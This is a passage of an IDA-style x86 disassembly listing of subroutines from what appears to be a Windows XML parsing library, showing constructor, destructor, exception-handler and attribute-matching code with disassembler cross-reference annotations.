cmp byte ptr [ebp-21h], 0
jz short loc_69B4F215
loc_69B4F1B7: ; CODE XREF: sub_69B4F0B4+FBj
mov ecx, [ebp-20h]
mov eax, [ecx]
call dword ptr [eax+108h]
mov [ebp-4Ch], eax
test eax, eax
jz short loc_69B4F1D4
mov eax, [esi+30h]
mov [ebp-50h], eax
cmp [ebp-4Ch], eax
jz short loc_69B4F215
loc_69B4F1D4: ; CODE XREF: sub_69B4F0B4+113j
mov ecx, [ebp-20h]
call sub_69B49E98
mov [ebp-54h], eax
test eax, eax
jz short loc_69B4F1EC
or byte ptr [eax+9], 10h
jmp loc_69B4F294
; ---------------------------------------------------------------------------
loc_69B4F1EC: ; CODE XREF: sub_69B4F0B4+12Dj
mov eax, [ebp-20h]
or byte ptr [eax+9], 8
jmp loc_69B4F294
; ---------------------------------------------------------------------------
loc_69B4F1F8: ; CODE XREF: sub_69B4F0B4+E6j
mov ecx, [ebp-20h]
mov eax, [ecx]
call dword ptr [eax+44h]
cmp eax, 5
jnz short loc_69B4F235
push dword ptr [edi+14h]
push dword ptr [edi+10h]
mov ecx, [ebp-20h]
call sub_69B47EB6
jmp short loc_69B4F294
; ---------------------------------------------------------------------------
loc_69B4F215: ; CODE XREF: sub_69B4F0B4+E3j
; sub_69B4F0B4+F5j ...
push dword ptr [edi+14h]
push dword ptr [edi+10h]
push dword ptr [ebp-20h]
mov ecx, esi
call sub_69B4E98C
test al, al
jnz short loc_69B4F294
jmp short loc_69B4F235
; ---------------------------------------------------------------------------
loc_69B4F22B: ; CODE XREF: sub_69B4F0B4+D7j
mov eax, [ebp-38h]
and eax, 1Fh
cmp al, 12h
ja short loc_69B4F294
loc_69B4F235: ; CODE XREF: sub_69B4F0B4+EBj
; sub_69B4F0B4+14Fj ...
mov eax, [esi+14h]
mov [ebp-58h], eax
mov ecx, [esi+10h]
mov [ebp-5Ch], ecx
mov edx, [ebp-38h]
and edx, 1Fh
mov [ebp-60h], edx
push eax
push ecx
push dword ptr [edi+14h]
push dword ptr [edi+10h]
push 0
push dword ptr [ebp-20h]
push 0
push edx
call sub_69B49219
mov ebx, eax
mov [ebp-34h], ebx
cmp dword ptr [ebp-60h], 1
jnz short loc_69B4F273
push ebx
lea ecx, [esi+30h]
call sub_69B199CC
loc_69B4F273: ; CODE XREF: sub_69B4F0B4+CEj
; sub_69B4F0B4+1B4j
mov byte ptr [esi+34h], 0
cmp dword ptr [edi+0Ch], 1
setz byte ptr [ebp-64h]
movzx eax, byte ptr [ebp-64h]
shl eax, 10h
xor eax, [ebx+8]
and eax, 10000h
xor [ebx+8], eax
mov [edi+1Ch], ebx
loc_69B4F294: ; CODE XREF: sub_69B4F0B4+7Ej
; sub_69B4F0B4+133j ...
cmp dword ptr [ebp-2Ch], 1
jle loc_69B4F33D
test byte ptr [ebp-38h], 80h
jz short loc_69B4F2AC
mov [ebp-20h], ebx
mov [ebp-68h], ebx
jmp short loc_69B4F2DB
; ---------------------------------------------------------------------------
loc_69B4F2AC: ; CODE XREF: sub_69B4F0B4+1EEj
cmp dword ptr [edi+4], 2
jnz short loc_69B4F2DB
mov [ebp-20h], ebx
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+38h]
push offset aXmlSpace_1 ; "XML-SPACE"
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
mov ecx, eax
call sub_69B2EF33
test al, al
jz short loc_69B4F2DB
mov byte ptr [ebp-23h], 1
mov byte ptr [ebp-24h], 1
loc_69B4F2DB: ; CODE XREF: sub_69B4F0B4+1F6j
; sub_69B4F0B4+1FCj ...
mov eax, [ebp+18h]
mov ebx, [eax]
mov [ebp-30h], ebx
cmp dword ptr [ebx+4], 2
jnz short loc_69B4F33D
cmp dword ptr [esi+3Ch], 0
jbe short loc_69B4F2F6
mov ecx, esi
call sub_69B4E426
loc_69B4F2F6: ; CODE XREF: sub_69B4F0B4+239j
lea eax, [esi+30h]
mov [ebp-6Ch], eax
push 0
push eax
call sub_69B17320
mov byte ptr [esi+34h], 0
cmp byte ptr [ebp-21h], 0
jz short loc_69B4F32C
mov eax, [ebp-70h]
mov edi, [eax+1Ch]
mov [ebp-74h], edi
cmp byte ptr [ebp-24h], 0
jz short loc_69B4F328
push 1
push edi
call sub_69B4EE00
mov [ebp-22h], al
loc_69B4F328: ; CODE XREF: sub_69B4F0B4+267j
or byte ptr [edi+0Ah], 1
loc_69B4F32C: ; CODE XREF: sub_69B4F0B4+258j
mov byte ptr [ebp-24h], 0
mov [ebp-70h], ebx
mov byte ptr [ebp-21h], 1
mov eax, [ebp-68h]
mov [ebp-20h], eax
loc_69B4F33D: ; CODE XREF: sub_69B4F0B4+1E4j
; sub_69B4F0B4+233j
dec dword ptr [ebp-2Ch]
xor ebx, ebx
jmp loc_69B4F0EC
; ---------------------------------------------------------------------------
loc_69B4F347: ; CODE XREF: sub_69B4F0B4+3Bj
cmp byte ptr [ebp-21h], 0
jz short loc_69B4F389
cmp [esi+3Ch], ebx
jbe short loc_69B4F359
mov ecx, esi
call sub_69B4E426
loc_69B4F359: ; CODE XREF: sub_69B4F0B4+29Cj
mov eax, [ebp-70h]
mov edi, [eax+1Ch]
mov [ebp-78h], edi
cmp byte ptr [ebp-24h], 0
jz short loc_69B4F373
push 1
push edi
call sub_69B4EE00
mov [ebp-22h], al
loc_69B4F373: ; CODE XREF: sub_69B4F0B4+2B2j
or byte ptr [edi+0Ah], 1
lea eax, [esi+30h]
mov [ebp-7Ch], eax
push 0
push eax
call sub_69B17320
mov byte ptr [esi+34h], 0
loc_69B4F389: ; CODE XREF: sub_69B4F0B4+297j
mov al, [esi+2Ch]
neg al
sbb eax, eax
and eax, 2
mov ecx, [ebp-28h]
mov [ecx+20h], eax
cmp byte ptr [ebp-23h], 0
jz short loc_69B4F3CA
mov al, [ebp-22h]
mov [esi+2Ch], al
jmp short loc_69B4F3CA
; ---------------------------------------------------------------------------
loc_69B4F3A7: ; DATA XREF: .text:69B4F3E4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4F3B0: ; DATA XREF: .text:69B4F3E8o
mov esp, [ebp-18h]
mov eax, [ebp+8]
push dword ptr [eax+10h] ; int
call sub_69B2E808
push eax ; lpString
push dword ptr [ebp+0Ch] ; int
call sub_69B4F82B
mov [ebp-1Ch], eax
loc_69B4F3CA: ; CODE XREF: sub_69B4F0B4+2E9j
; sub_69B4F0B4+2F1j
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-1Ch]
call sub_69B1853C
retn 14h
sub_69B4F0B4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B4F3E0 dd 0FFFFFFFFh dd offset loc_69B4F3A7
dd offset loc_69B4F3B0
; ---------------------------------------------------------------------------
loc_69B4F3EC: ; DATA XREF: .text:off_69B282DCo
push esi
mov esi, ecx
call sub_69B4EEA0
test byte ptr [esp+8], 1
jz short loc_69B4F404
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B4F404: ; CODE XREF: .text:69B4F3F9j
lea eax, [esi-4]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B4F40B proc near ; CODE XREF: sub_69B4FDBC+429p
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
push 8
call sub_69B8AB3E
neg eax
sbb eax, eax
neg eax
retn 4
sub_69B4F40B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4F421 proc near ; CODE XREF: sub_69B4FA5E+94p
var_4 = byte ptr -4
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov ecx, [esi+40h]
lea eax, [ebp+var_4]
push eax
call sub_69B48F23
jmp short loc_69B4F451
; ---------------------------------------------------------------------------
loc_69B4F436: ; CODE XREF: sub_69B4F421+32j
push 0
push 1
push 1
push 0
mov ecx, eax
call sub_69B4B0C7
mov ecx, [esi+40h]
lea eax, [ebp+var_4]
push eax
call sub_69B486B5
loc_69B4F451: ; CODE XREF: sub_69B4F421+13j
test eax, eax
jnz short loc_69B4F436
and [esi+40h], eax
pop esi
leave
retn
sub_69B4F421 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4F45B proc near ; CODE XREF: sub_69B4F5D7+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp word ptr [ebp+arg_0], 0
push ebx
push esi
push edi
jz short loc_69B4F4AA
mov ebx, [ebp+arg_C]
mov eax, [ebp+arg_4]
loc_69B4F46E: ; CODE XREF: sub_69B4F45B+4Dj
mov edx, [eax]
add [ebp+arg_0], 0FFFFh
add eax, 4
cmp dword ptr [edx+4], 2
jnz short loc_69B4F4A3
cmp ebx, [edx+14h]
jnz short loc_69B4F4A3
cmp dword ptr [edx+18h], 0
jnz short loc_69B4F4A3
mov edi, [edx+10h]
mov esi, [ebp+arg_8]
lea ecx, [ebx+ebx]
xor edx, edx
repe cmpsb
jz short loc_69B4F49F
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_69B4F49F: ; CODE XREF: sub_69B4F45B+3Dj
test edx, edx
jz short loc_69B4F4B4
loc_69B4F4A3: ; CODE XREF: sub_69B4F45B+23j
; sub_69B4F45B+28j ...
cmp word ptr [ebp+arg_0], 0
jnz short loc_69B4F46E
loc_69B4F4AA: ; CODE XREF: sub_69B4F45B+Bj
xor ax, ax
loc_69B4F4AD: ; CODE XREF: sub_69B4F45B+66j
pop edi
pop esi
pop ebx
pop ebp
retn 14h
; ---------------------------------------------------------------------------
loc_69B4F4B4: ; CODE XREF: sub_69B4F45B+46j
mov ecx, [ebp+arg_10]
test ecx, ecx
jz short loc_69B4F4BD
mov [ecx], eax
loc_69B4F4BD: ; CODE XREF: sub_69B4F45B+5Ej
mov ax, word ptr [ebp+arg_0]
jmp short loc_69B4F4AD
sub_69B4F45B endp
; =============== S U B R O U T I N E =======================================
sub_69B4F4C3 proc near ; CODE XREF: sub_69B4F873+179p
; sub_69B4FA5E+18Cp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
cmp byte ptr [esi+4Ah], 0
jnz short loc_69B4F4E3
mov eax, [esi+18h]
test eax, eax
jz short loc_69B4F4E3
mov ecx, [eax]
push 1
push [esp+8+arg_0]
push eax
call dword ptr [ecx+0Ch]
mov byte ptr [esi+4Ah], 1
loc_69B4F4E3: ; CODE XREF: sub_69B4F4C3+7j
; sub_69B4F4C3+Ej
pop esi
retn 4
sub_69B4F4C3 endp
; =============== S U B R O U T I N E =======================================
sub_69B4F4E7 proc near ; DATA XREF: .text:69B1276Co
push 8
push offset dword_69B4F530
call sub_69B19C5C
and dword ptr [ebp-4], 0
mov eax, [ebp+8]
mov eax, [eax+10h]
mov ecx, [eax]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+18h]
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B4F527
; ---------------------------------------------------------------------------
loc_69B4F515: ; DATA XREF: .text:69B4F534o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4F51E: ; DATA XREF: .text:69B4F538o
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
xor eax, eax
loc_69B4F527: ; CODE XREF: sub_69B4F4E7+2Cj
call sub_69B1853C
retn 14h
sub_69B4F4E7 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B4F530 dd 0FFFFFFFFh dd offset loc_69B4F515
dd offset loc_69B4F51E
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4F53C proc near ; CODE XREF: sub_69B4F5D7+32p
; sub_69B4F873+80p ...
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [eax]
push esi
push edi
push 20h
lea ecx, [ebp+var_10]
call sub_69B3109C
mov esi, [ebp+arg_8]
loc_69B4F557: ; CODE XREF: sub_69B4F53C+85j
mov eax, [ebp+arg_0]
mov eax, [eax]
mov ecx, [eax+4]
add [ebp+arg_0], 4
cmp ecx, 0Dh
jz short loc_69B4F5AE
cmp ecx, 11h
jnz short loc_69B4F5C3
push dword ptr [eax+14h]
push dword ptr [eax+10h]
call sub_69B2F9F5
push 1
mov edi, eax
push 0
push edi
mov ecx, esi
call sub_69B8C45B
push 0
push edi
mov ecx, esi
call sub_69B8AFBA
push dword ptr [esi+34h]
mov ecx, eax
call sub_69B8C56F
push 1
mov ecx, eax
call sub_69B40333
push eax
lea ecx, [ebp+var_10]
call sub_69B3146D
jmp short loc_69B4F5BE
; ---------------------------------------------------------------------------
loc_69B4F5AE: ; CODE XREF: sub_69B4F53C+2Aj
push 1
push dword ptr [eax+14h]
lea ecx, [ebp+var_10]
push dword ptr [eax+10h]
call sub_69B31369
loc_69B4F5BE: ; CODE XREF: sub_69B4F53C+70j
dec ebx
test ebx, ebx
jg short loc_69B4F557
loc_69B4F5C3: ; CODE XREF: sub_69B4F53C+2Fj
mov eax, [ebp+arg_4]
lea ecx, [ebp+var_10]
mov [eax], ebx
call sub_69B31267
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B4F53C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4F5D7 proc near ; CODE XREF: sub_69B4FDBC+39Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B4F45B
test ax, ax
jz short loc_69B4F610
push [ebp+arg_10]
movzx eax, ax
mov [ebp+arg_C], eax
lea eax, [ebp+arg_C]
push eax
push [ebp+var_4]
call sub_69B4F53C
jmp short locret_69B4F612
; ---------------------------------------------------------------------------
loc_69B4F610: ; CODE XREF: sub_69B4F5D7+20j
xor eax, eax
locret_69B4F612: ; CODE XREF: sub_69B4F5D7+37j
leave
retn 14h
sub_69B4F5D7 endp
; =============== S U B R O U T I N E =======================================
sub_69B4F616 proc near ; CODE XREF: sub_69B4FDBC+44Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jnz short loc_69B4F623
mov eax, dword_69B95A18
loc_69B4F623: ; CODE XREF: sub_69B4F616+6j
push 0
push eax
push 0Ch
call sub_69B8AB3E
neg eax
sbb eax, eax
neg eax
retn 4
sub_69B4F616 endp
; =============== S U B R O U T I N E =======================================
sub_69B4F636 proc near ; CODE XREF: sub_69B4FCAC+71p
; sub_69B4FDBC+3F7p
push esi
lea esi, [ecx+30h]
cmp dword ptr [esi], 0
jnz short loc_69B4F64B
call sub_69B315A6
push eax
push esi
call sub_69B17320
loc_69B4F64B: ; CODE XREF: sub_69B4F636+7j
mov eax, [esi]
pop esi
retn
sub_69B4F636 endp
; =============== S U B R O U T I N E =======================================
sub_69B4F64F proc near ; CODE XREF: sub_69B3DADB+F0p
push 28h
push offset dword_69B4F7B8
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
call sub_69B4E24E
mov dword ptr [esi], offset off_69B12754
mov dword ptr [esi+4], offset off_69B282E0
lea eax, [esi+10h]
xor ebx, ebx
mov [eax], ebx
mov [esi+14h], ebx
mov [esi+18h], ebx
mov [esi+1Ch], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
lea edi, [esi+28h]
mov [edi], ebx
mov [esi+2Ch], ebx
mov [esi+30h], ebx
push ebx
push eax
call sub_69B17320
push dword ptr [ebp+14h]
lea eax, [esi+20h]
push eax
call sub_69B17320
mov [esi+34h], bl
mov [esi+35h], bl
mov [esi+36h], bl
mov [esi+3Ch], bl
mov [esi+38h], ebx
push dword ptr [ebp+10h]
push edi
call sub_69B17320
push dword ptr [ebp+8]
lea eax, [esi+24h]
push eax
call sub_69B2DEB2
mov [esi+40h], ebx
mov [esi+44h], ebx
mov [esi+48h], bl
mov [esi+4Ah], bl
mov eax, [ebp+8]
cmp [eax+8Dh], bl
jz short loc_69B4F6EE
cmp [eax+0D0h], ebx
jnz short loc_69B4F6EE
xor ecx, ecx
inc ecx
jmp short loc_69B4F6F0
; ---------------------------------------------------------------------------
loc_69B4F6EE: ; CODE XREF: sub_69B4F64F+90j
; sub_69B4F64F+98j
xor ecx, ecx
loc_69B4F6F0: ; CODE XREF: sub_69B4F64F+9Dj
mov [esi+49h], cl
push dword ptr [eax+68h]
lea eax, [esi+2Ch]
push eax
call sub_69B17320
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
lea ecx, [esi+1Ch]
call sub_69B199CC
mov eax, [ebp+8]
mov al, [eax+82h]
mov [ebp-1Dh], al
cmp al, bl
jz short loc_69B4F799
mov eax, [edi]
mov [ebp-24h], eax
mov al, [eax+2Fh]
mov [ebp-25h], al
cmp al, bl
jnz short loc_69B4F799
push 38h
call sub_69B1D897
mov [ebp-2Ch], eax
cmp eax, ebx
jz short loc_69B4F758
mov eax, [esi+24h]
mov [ebp-30h], eax
mov edi, [edi]
mov [ebp-34h], edi
mov ecx, [esi+1Ch]
mov [ebp-38h], ecx
push eax
push edi
push ecx
mov ecx, [ebp-2Ch]
call sub_69B8D0D7
jmp short loc_69B4F75A
; ---------------------------------------------------------------------------
loc_69B4F758: ; CODE XREF: sub_69B4F64F+E9j
xor eax, eax
loc_69B4F75A: ; CODE XREF: sub_69B4F64F+107j
push eax
lea edi, [esi+18h]
mov ecx, edi
call sub_69B199CC
mov edi, [edi]
mov eax, [edi]
push edi
call dword ptr [eax+8]
jmp short loc_69B4F799
; ---------------------------------------------------------------------------
loc_69B4F76F: ; DATA XREF: .text:69B4F7BCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4F778: ; DATA XREF: .text:69B4F7C0o
mov esp, [ebp-18h]
mov esi, [ebp-1Ch]
lea eax, [esi+1Ch]
xor ebx, ebx
push ebx
push eax
call sub_69B17320
lea eax, [esi+18h]
push ebx
push eax
call sub_69B17320
call sub_69B2E860
loc_69B4F799: ; CODE XREF: sub_69B4F64F+CCj
; sub_69B4F64F+DBj ...
or dword ptr [ebp-4], 0FFFFFFFFh
cmp [esi+2Ch], ebx
jz short loc_69B4F7A9
mov eax, [ebp+10h]
mov byte ptr [eax+2Fh], 1
loc_69B4F7A9: ; CODE XREF: sub_69B4F64F+151j
mov eax, esi
call sub_69B1853C
retn 10h
sub_69B4F64F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B4F7B8 dd 0FFFFFFFFh dd offset loc_69B4F76F
dd offset loc_69B4F778
; =============== S U B R O U T I N E =======================================
sub_69B4F7C4 proc near ; CODE XREF: .text:69B4FA42p
push esi
mov esi, ecx
lea eax, [esi+2Ch]
push eax
mov dword ptr [esi-4], offset off_69B12754
mov dword ptr [esi], offset off_69B282E0
call sub_69B17230
lea eax, [esi+28h]
push eax
call sub_69B17230
lea eax, [esi+24h]
push eax
call sub_69B17230
lea eax, [esi+20h]
push eax
call sub_69B2DEDD
lea eax, [esi+1Ch]
push eax
call sub_69B17230
lea eax, [esi+18h]
push eax
call sub_69B17230
lea eax, [esi+14h]
push eax
call sub_69B17230
lea eax, [esi+10h]
push eax
call sub_69B17230
add esi, 0Ch
push esi
call sub_69B17230
pop esi
jmp sub_69B2C65C
sub_69B4F7C4 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B4F82B(int, LPCWSTR lpString, int)
sub_69B4F82B proc near ; CODE XREF: sub_69B4EECB+92p
; sub_69B4EF9E+68p ...
arg_0 = dword ptr 4
lpString = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
mov edi, [esp+4+lpString]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+38h]
test eax, eax
jz short loc_69B4F868
mov ecx, [eax+0Ch]
push esi
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov esi, eax
mov eax, [esp+8+arg_0]
mov ecx, [eax]
push esi
push eax
call dword ptr [ecx+14h]
push esi ; BSTR
call SysFreeString
mov ecx, [esp+8+arg_8]
push edi ; lpString
call sub_69B3E374
pop esi
loc_69B4F868: ; CODE XREF: sub_69B4F82B+Ej
mov ecx, edi
call sub_69B2E804
pop edi
retn 0Ch
sub_69B4F82B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4F873 proc near ; CODE XREF: sub_69B4FDBC+7Ap
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
movzx ecx, word ptr [ebp+arg_4]
nop
xor ebx, ebx
xor al, al
cmp ecx, ebx
mov [ebp+var_4], ecx
jle loc_69B4FA16
push edi
loc_69B4F891: ; CODE XREF: sub_69B4F873+19Cj
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add [ebp+arg_8], 4
cmp dword ptr [edx+4], 2
jnz loc_69B4FA09
cmp dword ptr [edx+8], 1Fh
jnz loc_69B4FA09
mov edi, [edx+14h]
cmp edi, ebx
jz loc_69B4FA09
cmp [edx+18h], ebx
jnz short loc_69B4F8C3
mov [ebp+arg_4], ebx
jmp short loc_69B4F8DA
; ---------------------------------------------------------------------------
loc_69B4F8C3: ; CODE XREF: sub_69B4F873+49j
mov eax, [edx+10h]
mov ecx, [esi+20h]
add edi, 0FFFFFFFAh
push edi ; int
add eax, 0Ch
push eax ; lpString
push ebx ; int
call sub_69B4D394
mov [ebp+arg_4], eax
loc_69B4F8DA: ; CODE XREF: sub_69B4F873+4Ej
dec [ebp+var_4]
cmp [ebp+var_4], ebx
jle loc_69B4FA1C
push dword ptr [esi+28h]
mov edi, [ebp+var_4]
lea eax, [ebp+var_4]
push eax
push [ebp+arg_8]
call sub_69B4F53C
sub edi, [ebp+var_4]
mov ecx, [ebp+arg_8]
inc [ebp+var_4]
cmp [eax+8], ebx
lea ecx, [ecx+edi*4]
mov [ebp+arg_8], ecx
jz loc_69B4FA1C
mov ecx, [esi+20h]
push ebx ; int
push ebx ; lpString
push eax ; int
call sub_69B4D394
mov ebx, eax
mov eax, [esi+24h]
cmp dword ptr [eax+0D0h], 0
jnz short loc_69B4F935
mov ecx, [esi+28h]
push ebx
add ecx, 0Ch
call sub_69B47C9C
loc_69B4F935: ; CODE XREF: sub_69B4F873+B4j
mov ecx, [esi+20h]
push ebx
call sub_69B4DA96
mov ecx, [esi+20h]
push 0
push ebx
mov edi, eax
push edi
push [ebp+arg_4]
call sub_69B4DCB3
cmp byte ptr [esi+34h], 0
jnz loc_69B4FA05
mov ecx, [esi+30h]
test ecx, ecx
mov byte ptr [ebp+arg_4+3], 0
jz short loc_69B4F9B5
push ebx
call sub_69B1980A
test eax, eax
mov [ebp+var_8], eax
jz short loc_69B4F9B5
mov eax, [esi+2Ch]
test eax, eax
jz short loc_69B4F989
push 0
push edi
push 10h
lea ecx, [eax+3Ch]
call sub_69B8AB3E
test eax, eax
jnz short loc_69B4F9B5
loc_69B4F989: ; CODE XREF: sub_69B4F873+103j
push 1
push edi
push [ebp+var_8]
push dword ptr [esi+28h]
push dword ptr [esi+24h]
call sub_69B5CB6E
mov ecx, [esi+30h]
push ebx
call sub_69B17DC6
mov ecx, [esi+28h]
push edi
push edi
call sub_69B8B750
mov eax, [ebp+arg_C]
mov byte ptr [eax], 1
jmp short loc_69B4F9D1
; ---------------------------------------------------------------------------
loc_69B4F9B5: ; CODE XREF: sub_69B4F873+EFj
; sub_69B4F873+FCj ...
mov eax, [esi+24h]
mov ecx, [esi+28h]
lea edx, [ebp+arg_4+3]
push edx
push ebx
push edi
push [ebp+arg_0]
push eax
call sub_69B8BD72
mov ecx, [ebp+arg_C]
or [ecx], al
jz short loc_69B4F9F1
loc_69B4F9D1: ; CODE XREF: sub_69B4F873+140j
lea eax, [esi+18h]
mov edx, [eax]
test edx, edx
jz short loc_69B4F9F1
lea ecx, [esi+10h]
cmp [ecx], edx
jz short loc_69B4F9F1
push eax
call sub_69B4D414
push [ebp+arg_0]
mov ecx, esi
call sub_69B4F4C3
loc_69B4F9F1: ; CODE XREF: sub_69B4F873+15Cj
; sub_69B4F873+165j ...
cmp byte ptr [ebp+arg_4+3], 0
jz short loc_69B4FA05
mov eax, [esi+10h]
mov ecx, [eax]
push 0Ah
push [ebp+arg_0]
push eax
call dword ptr [ecx+0Ch]
loc_69B4FA05: ; CODE XREF: sub_69B4F873+E0j
; sub_69B4F873+182j
xor ebx, ebx
loc_69B4FA07: ; CODE XREF: sub_69B4F873+1CAj
mov al, 1
loc_69B4FA09: ; CODE XREF: sub_69B4F873+2Bj
; sub_69B4F873+35j ...
dec [ebp+var_4]
cmp [ebp+var_4], ebx
jg loc_69B4F891
pop edi
loc_69B4FA16: ; CODE XREF: sub_69B4F873+17j
pop esi
pop ebx
leave
retn 10h
; ---------------------------------------------------------------------------
loc_69B4FA1C: ; CODE XREF: sub_69B4F873+6Dj
; sub_69B4F873+97j
cmp [ebp+arg_4], ebx
jz short loc_69B4FA31
mov eax, 0C00CE027h
push ebx
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B4FA31: ; CODE XREF: sub_69B4F873+1ACj
mov ecx, [esi+20h]
push ebx
push ebx
push ebx
push ebx
call sub_69B4DCB3
jmp short loc_69B4FA07
sub_69B4F873 endp
; ---------------------------------------------------------------------------
loc_69B4FA3F: ; DATA XREF: .text:off_69B282E0o
push esi
mov esi, ecx
call sub_69B4F7C4
test byte ptr [esp+8], 1
jz short loc_69B4FA57
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B4FA57: ; CODE XREF: .text:69B4FA4Cj
lea eax, [esi-4]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B4FA5E proc near ; DATA XREF: .text:69B12760o
push 54h
push offset dword_69B4FC40
call sub_69B19C5C
xor ebx, ebx
mov [ebp-4], ebx
mov edi, [ebp+10h]
cmp edi, 4
jg short loc_69B4FABE
jz short loc_69B4FAB6
mov eax, edi
sub eax, ebx
jz short loc_69B4FAA2
dec eax
jz short loc_69B4FA8C
dec eax
jz short loc_69B4FAB6
dec eax
jnz loc_69B4FB15
loc_69B4FA8C: ; CODE XREF: sub_69B4FA5E+22j
mov esi, [ebp+8]
mov eax, [esi+2Ch]
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B4FA9D
mov byte ptr [esi+34h], 1
loc_69B4FA9D: ; CODE XREF: sub_69B4FA5E+39j
inc dword ptr [esi+38h]
jmp short loc_69B4FB18
; ---------------------------------------------------------------------------
loc_69B4FAA2: ; CODE XREF: sub_69B4FA5E+1Fj
mov esi, [ebp+8]
lea eax, [esi+1Ch]
push eax
lea ecx, [esi+10h]
call sub_69B4D414
mov [esi+34h], bl
jmp short loc_69B4FB18
; ---------------------------------------------------------------------------
loc_69B4FAB6: ; CODE XREF: sub_69B4FA5E+19j
; sub_69B4FA5E+25j
mov esi, [ebp+8]
dec dword ptr [esi+38h]
jmp short loc_69B4FB18
; ---------------------------------------------------------------------------
loc_69B4FABE: ; CODE XREF: sub_69B4FA5E+17j
mov eax, edi
sub eax, 5
jz short loc_69B4FB2A
dec eax
dec eax
jz loc_69B4FB87
dec eax
jz short loc_69B4FB03
sub eax, 3
jnz short loc_69B4FB15
mov esi, [ebp+8]
cmp [esi+40h], ebx
jz short loc_69B4FB18
mov eax, [esi+24h]
mov [ebp-20h], eax
mov al, [eax+82h]
mov [ebp-21h], al
cmp al, bl
jnz short loc_69B4FB18
mov ecx, esi
call sub_69B4F421
mov [ebp-28h], eax
cmp eax, ebx
jge short loc_69B4FB18
jmp loc_69B4FC2B
; ---------------------------------------------------------------------------
loc_69B4FB03: ; CODE XREF: sub_69B4FA5E+70j
mov esi, [ebp+8]
lea eax, [esi+2Ch]
mov [ebp-2Ch], eax
push ebx
push eax
call sub_69B17320
jmp short loc_69B4FB18
; ---------------------------------------------------------------------------
loc_69B4FB15: ; CODE XREF: sub_69B4FA5E+28j
; sub_69B4FA5E+75j
mov esi, [ebp+8]
loc_69B4FB18: ; CODE XREF: sub_69B4FA5E+42j
; sub_69B4FA5E+56j ...
mov esi, [esi+10h]
mov eax, [esi]
push edi
push dword ptr [ebp+0Ch]
push esi
call dword ptr [eax+0Ch]
jmp loc_69B4FC28
; ---------------------------------------------------------------------------
loc_69B4FB2A: ; CODE XREF: sub_69B4FA5E+65j
mov esi, [ebp+8]
mov byte ptr [esi+35h], 1
cmp [esi+34h], bl
jnz short loc_69B4FB8A
mov edx, [esi+2Ch]
mov [ebp-30h], edx
cmp edx, ebx
jz short loc_69B4FB8A
mov eax, [esi+24h]
mov [ebp-34h], eax
mov ecx, [eax+0D0h]
mov [ebp-38h], ecx
cmp ecx, ebx
jnz short loc_69B4FB8A
mov [ebp-3Ch], eax
mov [ebp-40h], edx
mov ecx, [esi+28h]
mov [ebp-44h], ecx
push eax
mov eax, dword_69B95A18
push eax
push eax
push edx
call sub_69B8BBC2
test al, al
jz short loc_69B4FB8A
mov eax, [esi+28h]
mov [ebp-48h], eax
push dword_69B95A18
lea ecx, [eax+0Ch]
call sub_69B47C9C
jmp short loc_69B4FB8A
; ---------------------------------------------------------------------------
